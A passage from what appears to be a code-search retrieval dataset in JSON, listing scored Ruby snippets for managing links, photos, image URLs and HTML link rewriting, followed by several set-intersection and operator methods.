}, { "docid": "b927a84ca8af06aac287de31aa4e0abe", "score": "0.56634957", "text": "def prepare_links!(*args)\n # TODO: move this method to _links or something so it doesn't need to be called in #serialize.\n compile_links_for(link_configs, *args).each do |lnk|\n links.add(lnk) # TODO: move to LinkCollection.new.\n end\n end", "title": "" }, { "docid": "7c74b7815b475039874e69bad251a99f", "score": "0.5645852", "text": "def associate_image\n if !self.image_url.blank?\n self.images = []\n add_image_from_url self.image_url\n end\n end", "title": "" }, { "docid": "00b6d5ace2761de965fe3cd8111beb5b", "score": "0.5645673", "text": "def remove_links\n for name in get_to_links\n ln = link_name(name)\n\n if File.symlink? ln\n puts \"Removing link #{ln}\"\n File.unlink ln\n end\n end\nend", "title": "" }, { "docid": "61372098284c9d0a2ffd3457adcc5ac8", "score": "0.56438243", "text": "def avoid_duplicate_image_names(content)\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n node.xpath(\".//draw:image\").each do |draw_image|\n if !draw_image.attribute('href').nil?\n href = draw_image.attribute('href').value\n end\n unless href.to_s.empty?\n @global_image_paths_set.add(href) \n end\n end\n end\n end", "title": "" }, { "docid": "cdcec4471492ed44b8368decf3db9398", "score": "0.56399816", "text": "def maybe_item_thumb_links\n maybe_column.links(:class => \"img\", :href => /.*/) # ---------------------------------- EVERYTHING USING THIS NEEDS REPLACING!!!!!!!!\n end", "title": "" }, { "docid": "e17b71852ff918238139821c5dacdaac", "score": "0.5639455", "text": "def reset!\n @link_set = Autocomplete::LinkSet.new\n end", "title": "" }, { "docid": "d0ca4735f0ff88a699ca2bdda65b4df0", "score": "0.563854", "text": "def process_links!(source)\r\n links.each{ |l| source.gsub!(\"[[#{l}]]\", link(l)) }\r\n end", "title": "" }, { "docid": "7de9d9a49272c2b4d42c872059372e93", "score": "0.5618323", "text": "def add_images_link(name)\r\n link_to_function name do |page|\r\n page.insert_html :bottom, :images, :partial => 'image' , :object => Image.new\r\n end\r\n end", "title": "" }, { "docid": "cf860ecd03ed30911e03782eb0ff210a", "score": "0.5610355", "text": "def update_photos\n self.photos = Photo.find_photos(latitude, longitude, radius)\n end", "title": "" }, { "docid": "b13a59b2bf12e7955fc0f4d353213c1d", "score": "0.55938613", "text": "def initialize_urls\n find_each(:conditions => {acts_as_url_configuration.url_attribute => nil}) do |instance|\n instance.send :ensure_unique_url\n instance.save\n end\n end", "title": "" }, { "docid": "2e5bc70033d11996b2f04efbf653126b", "score": "0.55807084", "text": "def set_photo_from_external\n return true if photos.count.positive?\n return unless ( photo = photos_with_backfill.first )\n\n photos << photo\n Taxon.update_ancestor_photos( self, photo )\n end", "title": "" }, { "docid": "0a10e6e4db3d24bd68727023f2bf4517", "score": "0.5573927", "text": "def initialize_urls\n find(:all, :conditions => {self.url_attribute => nil}).each do |instance|\n instance.send :ensure_unique_url\n instance.save\n end\n end", "title": "" }, { "docid": "b5955b3fcc5268d8a1acda21496acd38", "score": "0.5573071", "text": "def photoLinked( id )\n link_to photo( id ), link( id ), :target => \"_blank\" \n end", "title": "" }, { "docid": "c74a69357ed8f08de2fbeb7e229d1260", "score": "0.5560518", "text": "def reset\n @href = href # make sure we have the href\n @raw = nil\n end", "title": "" }, { "docid": "ba6697b2dd90410aec8aa8eaff7e7210", "score": "0.55366665", "text": "def caption_image_links(image_id)\n links = []\n links << original_image_link(image_id, \"lightbox_link\")\n links << \" | \"\n links << image_exif_link(image_id, \"lightbox_link\")\n content_tag(:div, class: \"caption-image-links my-3\") do\n safe_join(links)\n end\n end", "title": "" }, { "docid": "b1198bba41ab3086a3784d4da08fbc2c", "score": "0.5536195", "text": "def install_links(new_links)\n existing_links = fetch_links\n missing_links = new_links.reject do |new_link|\n existing_links.find do |existing_link|\n existing_link.section == new_link.section && existing_link.iframe_url == new_link.iframe_url\n end\n end\n created_links = missing_links.map do |link|\n create_link(link)\n end\n existing_links + created_links\n end", "title": "" }, { "docid": "78cd9d7569c4b999b426d678c0b3aed1", "score": "0.55224365", "text": "def incremental_image_urls(url)\n log \"method begin\" if $DEBUG\n login if not logged_in?\n log \"logged in\" if $DEBUG\n\n page = agent.get(url)\n log \"got page\" if $DEBUG\n\n links = page.links.select {|l| l.href =~ /wallbase.cc\\/wallpaper/ } \n log \"selected links\" if $DEBUG\n links.each do |l|\n page = l.click\n log \"clicked link\" if $DEBUG\n url = page.image_urls().select {|e| e.match /wallbase2/ }.first\n puts url\n end\n\n end", "title": "" }, { "docid": "c72f9c3df00227bab81fdba9b6666b5c", "score": "0.55175966", "text": "def undefault_other_photos\n self.photos.each do |photo|\n photo.set_is_default_to_false\n end\n end", "title": "" }, { "docid": "7b077e76a91543a70e81257bb4619736", "score": "0.55143857", "text": "def fix_image_links(text, raw_uri, additional_path = '')\n readme_doc = Nokogiri::HTML(text)\n readme_doc.xpath(\"//img[@src]\").each() do |el|\n #puts 'img: '+el['src'].to_s\n unless el['src'].start_with?('http')\n el['src'] = ('%s/%s/' % [raw_uri, additional_path])+el['src']\n end\n end\n\n return readme_doc.to_s, readme_doc\nend", "title": "" }, { "docid": "fd9de5ef431507a400e9a982f2d713c0", "score": "0.5509287", "text": "def prune_links\n links = []\n result = self.perform\n ft_links = result.ft_links\n ft_links.each do |ft_link|\n http = Curl.get(ft_link)\n doc = Nokogiri::HTML(http.body_str)\n link = doc.xpath('//*[@id=\"copy_paste_links\"]').children.first.to_s.chomp\n links.push link if link.empty? == false\n end\n links\n end", "title": "" }, { "docid": "be29ed6d091c90cd17182658446f45bf", "score": "0.5486338", "text": "def remove_references(options)\n \t# just got to remove the assigned_pics Tree hash\n \tPictureandmeta.delete_event(self)\n end", "title": "" }, { "docid": "8f0de639cea2579b18c7957e7ee17267", "score": "0.5482885", "text": "def get_place_photos(agent)\n urls_array = []\n a = agent.search(\".item.respageMenu-item.photosTab\").attr('href').value\n agent_inside = Mechanize.new\n agent_inside.user_agent_alias = 'Mac Safari'\n ## We enter the page for each link and save the data we want\n current_agent = agent_inside.get(a)\n current_agent.search(\".photobox.pos-relative.left.mb10.js-heart-container.thumbContainer\")[1..6].each do |link|\n\n a = link.search(\".res-photo-thumbnail.thumb-load\").attr('data-original').value.match(/(^.*)(?=\\?)/).to_s\n urls_array << a\n end\n return urls_array\nend", "title": "" }, { "docid": "f05f5809389bca938bbeaa550f3d29ef", "score": "0.5481044", "text": "def index\n #if params[:search]\n # @links = current_user.links.limit(500).group(:short_url).paginate :page => params[:page], :per_page => 20, :order => 'post_date DESC'\n #else\n @links = current_user.links.search(params[:search]).paginate :page => params[:page], :per_page => 20\n #end\n \n=begin\n #delete duplicates almost there TODO\n dups = current_user.links.group(:short_url).count\n\n @links.each_with_index do |link, i|\n link.count = dups[link.short_url]\n if dups[link.short_url] > 1\n @links.delete_if do |v| \n v.short_url == link.short_url\n puts v.short_url\n puts \"=====hit=====\"\n end\n end\n end\n=end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @links }\n end\n end", "title": "" }, { "docid": "06ddac8480db3b38ad088e71fd33ea70", "score": "0.54767674", "text": "def all_links\n self.fulltext_links + self.non_fulltext_links\n end", "title": "" }, { "docid": "9135470830fd85c3ec6fa6ceaddb2baa", "score": "0.54761004", "text": "def clear_urls\n result = @client[URLS_COLLECTION].delete_many({})\n result.n\n ensure\n @last_result = result\n end", "title": "" }, { "docid": "1244508333bb17f8db00b0b6833ea3e6", "score": "0.54666156", "text": "def process_links(recs)\n links = retrieve_links(recs)\n return [] if links.blank?\n\n recs.each { |rec| rec.identifiers.update(links[rec.uid]) if rec.database == 'WOS' }\n rescue StandardError => e\n NotificationManager.error(e, \"Author: #{author.id}, process_links failed\", self)\n end", "title": "" }, { "docid": "4b527882ad10cf6a2842e2e05fca4561", "score": "0.5465325", "text": "def links\n\t\t( 0...self.link_count ).collect do |i|\n\t\t\tself.link( i )\n\t\tend\n\tend", "title": "" }, { "docid": "6e8c846cac51cdb5e8b59d550fbcd899", "score": "0.5465063", "text": "def links_feed\n end", "title": "" }, { "docid": "20b52b34080f3a223e38e317bbfbac4c", "score": "0.5445416", "text": "def add_photos_from_site\n if(params[:photo_url])\n @url = params[:photo_url]\n @album = Album.find(:all,:conditions=>[\"user_id=?\",@login_user.id])\n render :action=>\"add_photos_from_site\", :layout=>false\n end\n \n end", "title": "" }, { "docid": "d1dcab4574adc0b4e531e6f292089443", "score": "0.54449755", "text": "def link_everything_to_site\n @items.each { |i| i.site = self }\n @layouts.each { |l| l.site = self }\n @code_snippets.each { |cs| cs.site = self }\n end", "title": "" }, { "docid": "d1dcab4574adc0b4e531e6f292089443", "score": "0.54449755", "text": "def link_everything_to_site\n @items.each { |i| i.site = self }\n @layouts.each { |l| l.site = self }\n @code_snippets.each { |cs| cs.site = self }\n end", "title": "" }, { "docid": "a92fc318e5134d520b4eac813f429e86", "score": "0.5443487", "text": "def prepare_links!(*args)\n compile_links_for(_link_configs, *args).each do |link| \n rel = link.delete :rel\n links[rel] = link\n end\n end", "title": "" }, { "docid": "32fd43153f75204d288af781a7f95782", "score": "0.5436347", "text": "def links\n each_link.to_set\n end", "title": "" }, { "docid": "8fc84d8340ce56cbcc94bdc3832d7942", "score": "0.54232734", "text": "def remove_all_categories\r\n linkings.each do |link| \r\n #borked.\r\n link.destroy\r\n end\r\n end", "title": "" }, { "docid": "a8a202151bf61c648a930ff3778a78d0", "score": "0.5413019", "text": "def links\n @links ||= parsed_links.map{ |l| absolutify_url(unrelativize_url(l)) }.compact.uniq\n end", "title": "" }, { "docid": "2d4797cf4a87dda4228a858876b02eec", "score": "0.54094607", "text": "def links with_images\n pull_requests(@parent).select do |pull|\n @repo.id == (pull.head.repo && pull.head.repo.id)\n\n end.map do |pull|\n \"* \" + line_for(pull, with_images)\n end\n end", "title": "" }, { "docid": "50d44292283281a1184f725d643a905d", "score": "0.54091007", "text": "def add_link\n @bib.link.each do |l|\n case l.type&.downcase\n when \"doi\" then @item.doi = l.content\n when \"file\" then @item.file2 = l.content\n when \"src\" then @item.url = l.content\n end\n end\n end", "title": "" }, { "docid": "68dad64d2d28863e44ecb1dd22110070", "score": "0.53963023", "text": "def add_photo(img_url)\n self.photos << img_url\n end", "title": "" }, { "docid": "c533b50c7e765eae18d79f91d8bb578f", "score": "0.53889734", "text": "def post_links\n return if @links.nil?\n\n if @links.empty?\n Rentlinx.client.unpost_links_for(self)\n else\n Rentlinx.client.post_links(@links)\n end\n end", "title": "" }, { "docid": "7ce91dab61817c00aceda53a3e4ddab2", "score": "0.53813887", "text": "def remove_all_images\n self.cover_image.purge if self.cover_image.attached?\n self.images.each {|image| image.purge} if self.images.attached?\n end", "title": "" }, { "docid": "e793c98400a3c1beb8336ed2f503503e", "score": "0.5379764", "text": "def thumb_links\n @doc.xpath(\"//tbody//img[@class='list_thumb']/@src\").map {|link| link.to_s.gsub(/\\/s\\//, \"/m/\")}\n end", "title": "" }, { "docid": "bf0fad546f31a772524045af871e71a7", "score": "0.5377681", "text": "def remove_oneway_links\n @links.delete_if { |k,l|\n l.oneway?\n }\n end", "title": "" }, { "docid": "1ad30db0bdc8d83afedaaa922c32ff24", "score": "0.5373853", "text": "def images_from_img_tag\n img_array = []\n # пробегаю по тегам img (meta og:images...), хватаю урл и закидываю в img_array\n @doc.xpath('//img').each do |img|\n if img['src'] != nil\n array = [img['src'].to_s]\n src = @handler_link.remove_unless_symbols(array)\n got_link = @handler_link.handler_prefix_link(@link_host_name, src.to_s.delete!(\"[\\\"]\"))\n\n img_array << got_link\n end\n end\n\n img_array.uniq!\n @handler_link.remove_unless_link(img_array)\n img_array\n end", "title": "" }, { "docid": "c9692443767896ea612a133ab7e7a1bc", "score": "0.5373567", "text": "def handle_links(links_object)\n @uri = links_object['file']\n end", "title": "" }, { "docid": "b503bad4c628d65a09c2de1ad9dde575", "score": "0.537236", "text": "def social_media_links(top50)\n top50.each do |person, _count|\n next if Person.new(person).social_media_links?(@database)\n @database.write(\n 'people-information',\n @social_media.links_for(person),\n Digest::MD5.hexdigest(person)\n )\n end\n end", "title": "" }, { "docid": "f87421fb68180e3ee3108b0d2ee52c25", "score": "0.5366081", "text": "def link_embedded_images!\n images = self.find_embedded_images\n images.each do |image|\n raise AlreadyLinkedEmbeddedImage if image.embeddable &&\n image.embeddable != self\n image.update!(embeddable: self)\n end\n end", "title": "" }, { "docid": "1385a585d13f3b0f60772da7355a9b9a", "score": "0.5362489", "text": "def update(links)\n return self if links.blank?\n\n links = filter_ids(links)\n @ids = ids.reverse_merge(links).freeze\n self\n end", "title": "" }, { "docid": "c5f608aa37aa4096e1d24b82b714deb2", "score": "0.5359468", "text": "def index\n @picture_links = PictureLink.all\n end", "title": "" }, { "docid": "dac136e5102ba9a188c7382f766501b2", "score": "0.5357056", "text": "def build_urls(photos)\n if photos.is_a?(Array)\n new_photos = photos.map {|photo| \"http://farm#{photo['farm']}.staticflickr.com/#{photo['server']}/#{photo['id']}_#{photo['secret']}.jpg\"}\n else\n \"http://farm#{photos['farm']}.staticflickr.com/#{photos['server']}/#{photos['id']}_#{photos['secret']}.jpg\"\n end\n end", "title": "" }, { "docid": "eacb1523733cbcdf1e0b02ee49fa84a4", "score": "0.53564626", "text": "def links\n construct_html(self.items)\n end", "title": "" }, { "docid": "7f466813d25e82966ad0cc9d67d7de15", "score": "0.5352176", "text": "def hyperlinks\n links = self.images.select { |a| a.hyperlink.is_a?(Hyperlink) }\n links.map { |a| a.hyperlink }\n end", "title": "" }, { "docid": "6f781c43fa7077f2c4fd6997f29e6494", "score": "0.53520876", "text": "def onRemoved(links)\n @set -= links\n end", "title": "" }, { "docid": "60f00fea79a2fff643e52d4ffd2d4fb7", "score": "0.5340905", "text": "def update_photo_urls(records, subdirectories)\r\n\r\n updated_records = []\r\n\r\n records.each do |record_hash|\r\n\r\n urls_array = generate_image_urls(record_hash[\"photos\"], subdirectories)\r\n record_hash[\"photos\"] = urls_array\r\n updated_records.push(record_hash)\r\n\r\n end\r\n\r\n return updated_records \r\n\r\nend", "title": "" }, { "docid": "b356113991016f3e9eaa8d473d527a25", "score": "0.5334967", "text": "def links=(new_links)\n @links = new_links\n end", "title": "" }, { "docid": "56682f10a3b036e75001d73f3052a323", "score": "0.5322215", "text": "def remove_self_links\n @links.delete_if { |k,l| \n (l.src==l.dest) &&\n @sourcelinks[l.src].delete(l) && # always true\n @destlinks[l.dest].delete(l) # always true\n }\n self\n end", "title": "" }, { "docid": "646af9658a31b94077e9e687bb722acd", "score": "0.53121275", "text": "def remove_archives\n self.web_link.archive_links.each { |l| l.destroy }\n self.web_link.update_attribute(:archived, false)\n end", "title": "" }, { "docid": "f3caaf8f3dc76c83be31f7aabafea539", "score": "0.5303308", "text": "def internal_full_links\n links = internal_links\n return [] if links.empty?\n\n links.map { |link| base_url(link: link).concat(link) }\n end", "title": "" }, { "docid": "3d0d3a90069856393fbf712c8ff1021b", "score": "0.5303266", "text": "def normalize_links\n if @normalizer\n @links = LinkNormalizer.new(@links).normalized_links\n end\n end", "title": "" }, { "docid": "a16c4cd61d8776afdcfb8c9196fbdaa9", "score": "0.52989876", "text": "def links\n metadata[:links] || Set.new\n end", "title": "" }, { "docid": "d2c793127aceabc68dd7ceb8e6727b80", "score": "0.52971613", "text": "def change_hrefs(html)\n DOM.walk(html) do |node|\n for attr_name in %w{href src}\n attr_obj = node.attributes[attr_name]\n\n # Ignore if its blank\n next if !attr_obj\n\n # URL encode any spaces\n orig_href = attr_obj.to_s.gsub(\" \", \"%20\")\n\n begin\n src = URI(orig_href)\n rescue\n log \"#{orig_href} not a valid URI\"\n next\n end\n\n if internal_link?(src.to_s)\n linked_item = nil\n\n if src.path == \"\"\n # If its just an anchor like '#this' just set to the current file\n linked_item = self\n else\n # Match on the unescaped href\n unescaped_path = URI::unescape(src.path)\n linked_item = get_item(unescaped_path)\n end\n\n # Change link\n if linked_item\n new_path = linked_item.normalized_hashed_path(:relative_to => self)\n new_path = URI(new_path)\n\n if src.fragment\n new_path.fragment = src.fragment\n end\n\n log \"Changing #{src.to_s} to #{new_path.to_s}\"\n attr_obj.content = new_path.to_s\n else\n log \"No item in manifest for #{src}\"\n end\n end\n end\n end\n end", "title": "" }, { "docid": "653ed82d54492edc7ed06afefc80eb08", "score": "0.5291447", "text": "def update_photo_album\n\t\tphoto_ids.each do |photo_id|\n\t\t\tphoto = SquarePhoto.find( photo_id )\n\t\t\tself.photo_album.square_photos << photo\n\t\tend\n\tend", "title": "" }, { "docid": "310c43650d91b783535af692ae51910d", "score": "0.52782947", "text": "def driveNameReplace(original, name)\n folder_path = File.dirname(__FILE__) + \"/Cyclo\"\n Dir.glob(folder_path + \"/*\").sort.each do |path|\n f = File.open(path, \"r+\")\n doc = Nokogiri::XML(f)\n doc.search(\".//image\").each do |node|\n #puts node['href']\n newLink = node['href'].split('/').last\n #complete = \"file:///Users/freelance/Google Drive/Specialized Docs/_photosBIKE/#{newLink}\"\n complete = \"file:///Users/freelance/Google Drive/Specialized Docs/dump_output/#{newLink}\"\n puts complete\n #node['href'] = node['href'].gsub(original, name)\n node['href'] = complete\n end\n f.close()\n o = File.new(path, \"w\")\n o.write(doc)\n o.close()\n\n end\nend", "title": "" }, { "docid": "6d1b21d07b2b5409dba3664c6341c043", "score": "0.52760774", "text": "def link_manipulations(html_doc)\n html_doc.css('a').each do |link|\n link['target'] = '_blank'\n end\n return html_doc\n end", "title": "" }, { "docid": "7cb09c2b8308d8d4da57b274d3906c2b", "score": "0.52710307", "text": "def my_links\n end", "title": "" }, { "docid": "bdde12e7e3089dbfd9c7c6e2eb8366a6", "score": "0.5261151", "text": "def photos\n [\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-4.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-4.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-5.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/wreck-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/wreck-dive-2.jpg\"],\n ]\n end", "title": "" }, { "docid": "c2c10b257a89d7b61b72cad8bfe75e13", "score": "0.5258027", "text": "def save_images\n photos.each do |image|\n if image.should_destroy?\n image.destroy\n else\n if (!image.user_id) \n image.user_id = self.user_id\n end\n image.save(false)\n end\n end\n end", "title": "" }, { "docid": "1780027a534591660be93f6729b56092", "score": "0.5252223", "text": "def remote_images\n @link_collector.remote_images\n end", "title": "" }, { "docid": "278015db53a8b2363a2ad52b586a9318", "score": "0.5246148", "text": "def htmlUpdateLinks(html)\n #puts \"Page BEFORE URL update: \" + html\n #puts \" \"\n \n # Step 1: Update urls and insert marker\n allPages().each do |page|\n # Replace full urls\n html = html.gsub(\n \"http://www.mosync.com/\" + pageOriginalFile(page), \n \"/NEWDOC_UPDATED_URL_TEMPLATE_DOC_PATH/\" + pageTargetFile(page) + \"/index.html\")\n\t# Replace short urls\n html = html.gsub(\n pageOriginalFile(page), \n \"NEWDOC_UPDATED_URL_TEMPLATE_DOC_PATH/\" + pageTargetFile(page) + \"/index.html\")\n end\n \n # Step 2: Strip off absolute urls and markers\n html = html.gsub(\"http://www.mosync.com/NEWDOC_UPDATED_URL_\", \"\")\n html = html.gsub(\"/NEWDOC_UPDATED_URL_\", \"\")\n html = html.gsub(\"NEWDOC_UPDATED_URL_\", \"\")\n \n # Step 3: Clean up weird urls\n html = html.gsub(\"//index.html\", \"/index.html\")\n html = html.gsub(\"//index.html\", \"/index.html\")\n html = html.gsub(\"index.html/\", \"index.html\")\n html = html.gsub(\"TEMPLATE_DOC_PATH//\", \"TEMPLATE_DOC_PATH/\")\n \n #puts \"Page AFTER URL update: \" + html\n #puts \" \"\n \n html\nend", "title": "" }, { "docid": "b7fa9c162bb58cb9b6cdd0b4c842b41b", "score": "0.5241995", "text": "def prepend_urls \n unless check_url(self.homepage_url)\n self.homepage_url = \"http://#{self.homepage_url}\"\n end\n unless check_url(self.source_url)\n self.source_url = \"http://#{self.source_url}\"\n end\n unless check_url(self.author_contact)\n self.author_contact = \"http://#{self.author_contact}\"\n end\n end", "title": "" }, { "docid": "531d90332bf1345d531dd79144d8e2af", "score": "0.5240336", "text": "def show\n @gmaps_links = []\n @round.albums.each do |album| \n album.places.each do |place|\n gmaps_link = place.address + ' ' + place.city + ' ' + place.state\n gmaps_link.gsub!(' ', '+')\n @gmaps_links << gmaps_link\n end\n end\n end", "title": "" }, { "docid": "02f974fa63c9116f0612fb68cd093e18", "score": "0.52346987", "text": "def populate_links\n stack = [[[], @source]]\n until stack.empty?\n roots, dir = *stack.pop\n dir.children.each do |child|\n name = block_given? && yield(child) || child.basename.to_s\n path = roots + [name]\n\n if child.directory?\n stack.push [path, child]\n else\n if IGNORED_FILES.include? child.basename.to_s\n @links[File.join(roots)] = true\n else\n @links[File.join(path)] = child.relative_path_from(@source).to_s\n end\n end\n end\n end\n end", "title": "" }, { "docid": "06053fae9ffcb2b8391f8b4f0f55ef4d", "score": "0.523414", "text": "def update_page_links(links) # :nodoc:\n ATTRIBUTES.each do |attr|\n self.send(:\"#{attr}_page_uri=\", links.send(:\"#{attr}\"))\n self.send(:\"#{attr}_page=\", links.send(:\"#{attr}\"))\n end\n end", "title": "" }, { "docid": "f185d6c590ff88bca5e98677be993079", "score": "0.5229069", "text": "def add_href\n return if attributes.key?(\"href\")\n return unless attributes.key?(\"id\")\n attributes[\"href\"] = client.connection.api_path(\"#{collection.name}/#{attributes['id']}\")\n end", "title": "" } ]
948be33e57fc996098a05b652b52085f
Return the intersection of the operation and another operand
[ { "docid": "7f0bcf2f494599377cdc6b69914afc01", "score": "0.80242753", "text": "def intersection(other)\n Operation.new(:and, dup, other.dup).minimize\n end", "title": "" } ]
[ { "docid": "9a9fd97d83a83ba04ddf162199b1b1d5", "score": "0.73206943", "text": "def &(other) intersection(other) end", "title": "" }, { "docid": "57a884f852f248ef1b07631a4a35f35b", "score": "0.7124328", "text": "def intersection(another) \n self & another \n end", "title": "" }, { "docid": "868825478ffdcf35076a17ef1436489c", "score": "0.6988467", "text": "def intersection(nums1, nums2)\n nums1 & nums2\nend", "title": "" }, { "docid": "868825478ffdcf35076a17ef1436489c", "score": "0.6988467", "text": "def intersection(nums1, nums2)\n nums1 & nums2\nend", "title": "" }, { "docid": "ef14c5bdb7be4e36c83e86ff9a3c7cb2", "score": "0.6981684", "text": "def intersect_union(op)\n return op.a.expressions.map { |expr| op.alternative_a(expr) }\n end", "title": "" }, { "docid": "747ad6153001c4b16e25c320053b813a", "score": "0.6875776", "text": "def merge_operator\n @merge_operate ||= {\n :union => :+,\n :intersect => :&\n }\n end", "title": "" }, { "docid": "97cad006b47668cb8f9f8ee04cc23c40", "score": "0.6863046", "text": "def intersection(s,p=nil,o=nil,r=nil) \n tmp = @result\n if s.instance_of? SemanticExpression \n tmp = s.result \n #Intersection, Intersection and Difference are operation over sets.\n elsif s.instance_of? Array \n tmp = s \n #Intersection, Intersection and Difference are operation over sets. \n elsif Thread.current[:application].is_set?(s)\n #returns all set of resources\n if r != nil && r!= :s\n tmp = SemanticExpression.new.spo(Thread.current[:application].get(s).elements.collect{|s,p,o| eval(r.to_s)}.uniq,:p,:o).result\n else\n tmp = Thread.current[:application].get(s).elements\n end\n #Intersection method, passed as parameter a triple expression\n else\n tmp = query(s,p,o,r)\n end\n #@result = @result & tmp - The intersection is between the subjects and it is not between triples.\n \n a = tmp.collect{|s,p,o| s}\n \n @result = @result.collect { |s,p,o| [s,p,o] if a.include?(s) } \n \n self\n end", "title": "" }, { "docid": "501c7124a1522d2ebe08083e1971839d", "score": "0.6840939", "text": "def intersect(other)\n binary_operation(__method__, other, Algebra::Intersection)\n end", "title": "" }, { "docid": "73aff1fc4d97d867ec555aaa7e1ff5cc", "score": "0.6760096", "text": "def intersect(x,y)\n x & y\n end", "title": "" }, { "docid": "5182e07266415e9b03c443e3ecf73869", "score": "0.6684979", "text": "def __intersect__(criterion, operator)\n with_strategy(:__intersect__, criterion, operator)\n end", "title": "" }, { "docid": "0016c4958c25769363b19ad8b9164417", "score": "0.66719717", "text": "def intersection(b)\n\t\tx_intersection(b) * y_intersection(b)\n\tend", "title": "" }, { "docid": "7805734402b3d02f76bcd568e11a77a0", "score": "0.66362065", "text": "def intersect\n use(:__intersect__)\n end", "title": "" }, { "docid": "5cfe35d4b1c1342e018ea2f4d332a226", "score": "0.6633268", "text": "def __intersect__(criterion, operator)\n with_strategy(:__intersect__, criterion, operator)\n end", "title": "" }, { "docid": "1c34fd714e1eb4816104cab07f53acdb", "score": "0.65824664", "text": "def intersect\n use(:__intersect__)\n end", "title": "" }, { "docid": "88a41d6c9e20554f1d821fd99e3d9211", "score": "0.64954674", "text": "def intersection(*args)\n ary = self\n args.each do |x|\n ary = ary & x\n end\n ary\n end", "title": "" }, { "docid": "225feeac39936bea19ced9ce09b7115b", "score": "0.647071", "text": "def oA\n binary_operator \"&&\"\n end", "title": "" }, { "docid": "cf84d5ab9580d6d79dfde9c89ca6fb46", "score": "0.6466783", "text": "def intersect(other)\n end", "title": "" }, { "docid": "68838bad3eba8ea4e391c98e8cc06bfd", "score": "0.6347525", "text": "def operands\n [operand]\n end", "title": "" }, { "docid": "5d3a2a840040fec8c4f82849bfe6770f", "score": "0.63330364", "text": "def evaluate_operator(left, right)\n left and right\n end", "title": "" }, { "docid": "50495795e50c01255764bf0ca0549478", "score": "0.6306541", "text": "def operands\n [lhs, rhs]\n end", "title": "" }, { "docid": "1ffd79b0040b5024ac8985b322e22806", "score": "0.6239435", "text": "def intersect other\n 